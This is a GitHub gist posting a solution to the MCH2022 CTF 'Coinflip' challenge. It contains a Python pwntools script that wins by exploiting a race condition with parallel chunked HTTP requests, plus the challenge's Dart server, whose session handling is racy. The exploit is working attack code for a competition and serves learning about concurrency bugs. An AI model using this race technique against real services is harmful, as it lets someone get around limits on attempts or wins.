Created
July 27, 2022 12:11
-
-
Save betrisey/45882ce20c743c8e2fadff88899030e1 to your computer and use it in GitHub Desktop.
Coinflip solution MCH2022 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
while True: | |
io = connect('coinflip.ctf.zone', 80) | |
io.send("""POST /flip HTTP/1.1 | |
Host: coinflip.ctf.zone | |
Content-Length: 5 | |
Content-Type: text/plain | |
Connection: close | |
heads""") | |
res = io.recvall() | |
if b'"correct":true' in res: | |
cookie = res.split(b'\r\n')[2].split(b': ')[1].split(b';')[0].decode() | |
print(cookie) | |
break | |
for _ in range(29): | |
ios = [] | |
for i in range(10): | |
io = connect('coinflip.ctf.zone', 80) | |
io.send(f"""POST /flip HTTP/1.1 | |
Host: coinflip.ctf.zone | |
Cookie: {cookie} | |
Transfer-Encoding: chunked | |
Content-Type: text/plain | |
1 | |
h | |
""".encode()) | |
ios.append(io) | |
time.sleep(0.5) | |
while len(ios) > 0: | |
io = ios.pop() | |
io.send(b'4\neads\n0\n\n') | |
io.recvlines(9) | |
res = io.recvuntil(b'}') | |
io.close() | |
print(res) | |
if b'"correct":true' in res: | |
break | |
else: | |
print("No luck") | |
exit(1) | |
for io in ios: | |
io.send(b'0\n\n') | |
io.close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import 'dart:async'; | |
import 'dart:convert'; | |
import 'dart:io'; | |
import 'dart:math'; | |
import 'package:convert/convert.dart'; | |
import 'package:shelf_router/shelf_router.dart'; | |
import 'package:shelf/shelf.dart'; | |
import 'package:shelf/shelf_io.dart' as io; | |
import 'package:shelf_secure_cookie/shelf_secure_cookie.dart'; | |
const maxGuesses = 30; | |
const Duration sessionTimeout = Duration(seconds: 180); | |
const Duration cleanInterval = Duration(seconds: 10); | |
List<int> rand(n) { | |
var l = <int>[]; | |
for(var i = 0; i < n; i++) { | |
l.add(random.nextInt(256)); | |
} | |
return l; | |
} | |
class Session { | |
String id; | |
int timesPlayed; | |
int timesWon; | |
final DateTime timeCreated = DateTime.now(); | |
Session({this.timesPlayed = 0, this.timesWon = 0, required this.id}); | |
static Session create() { | |
final buffer = rand(16); | |
final h = hex.encode(buffer); | |
return Session(id: h); | |
} | |
@override | |
String toString() { | |
return 'id=$id timesPlayed=$timesPlayed timesWon=$timesWon'; | |
} | |
} | |
class SessionStore { | |
final sessionStore = <String, Session>{}; | |
int cleanup() { | |
var n = sessionStore.length; | |
sessionStore.removeWhere((key, value) => DateTime.now().difference(value.timeCreated).compareTo(sessionTimeout) > 0); | |
return (n - sessionStore.length); | |
} | |
String add(Session s) { | |
sessionStore[s.id] = s; | |
return s.id; | |
} | |
bool remove(Session s) { | |
if(sessionStore.containsKey(s.id)) { | |
return sessionStore.remove(s.id) != null; | |
} | |
return false; | |
} | |
Session? get(String sid) { | |
if(sessionStore.containsKey(sid)) { | |
return sessionStore[sid]; | |
} | |
return null; | |
} | |
} | |
Session loadSession(Request request) { | |
CookieParser cookies = request.context['cookies'] as CookieParser; | |
Cookie? sessionId = cookies.get('sid'); | |
Session? s; | |
if(sessionId != null) { | |
s = sessionStore.get(sessionId.value.toLowerCase()); | |
} | |
if(s == null) { | |
s = Session.create(); | |
final sid = sessionStore.add(s); | |
cookies.set('sid', sid); | |
} | |
return (Session.create()) | |
..id = s.id | |
..timesPlayed = s.timesPlayed | |
..timesWon = s.timesWon; | |
} | |
bool coinFlip() { | |
return random.nextInt(2).isEven; | |
} | |
Random random = Random.secure(); | |
late SessionStore sessionStore; | |
void main(List<String> arguments) async { | |
final flag = Platform.environment['FLAG']; | |
if(flag == null) { | |
print('flag missing'); | |
exit(1); | |
} | |
sessionStore = SessionStore(); | |
ProcessSignal.sigint.watch().forEach((element) => exit(0)); | |
Timer.periodic(cleanInterval, (t) { | |
final n = sessionStore.cleanup(); | |
if(n > 0) { | |
//print('removed $n sessions'); | |
} | |
}); | |
var app = Router(); | |
app.post('/flip', (Request request) async { | |
final session = loadSession(request); | |
var guess = false; | |
String body; | |
body = await request.readAsString(); | |
switch(body) { | |
case 'heads': | |
guess = true; | |
break; | |
case 'tails': | |
guess = false; | |
break; | |
default: | |
return Response.badRequest(body: 'Bad request. Send "heads" or "tails"'); | |
} | |
final flip = coinFlip(); | |
session.timesPlayed++; | |
final result = guess == flip; | |
if(result) { | |
session.timesWon++; | |
} | |
final gameOver = session.timesPlayed >= maxGuesses; | |
if(gameOver) { | |
sessionStore.remove(session); | |
} else { | |
sessionStore.add(session); | |
} | |
var response = <String, dynamic>{ | |
'correct': result, | |
'timesPlayed': session.timesPlayed, | |
'timesWon': session.timesWon, | |
'gameOver': gameOver, | |
}; | |
if(session.timesWon >= maxGuesses) { | |
response['flag'] = flag; | |
} | |
final headers = gameOver ? {HttpHeaders.setCookieHeader: (request.context['cookies'] as CookieParser).toHeader()} : null; | |
return Response.ok(json.encode(response), headers: headers); | |
}); | |
app.get('/', (Request request) { | |
return Response.ok('Welcome to the MCH coin flip service. Post your guess ("heads" or "tails") to /flip. Win $maxGuesses times in a row to claim the prize.'); | |
}); | |
final pipeline = Pipeline() | |
.addMiddleware(cookieParser()) | |
.addHandler(app); | |
await io.serve(pipeline, '0.0.0.0', 8080); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment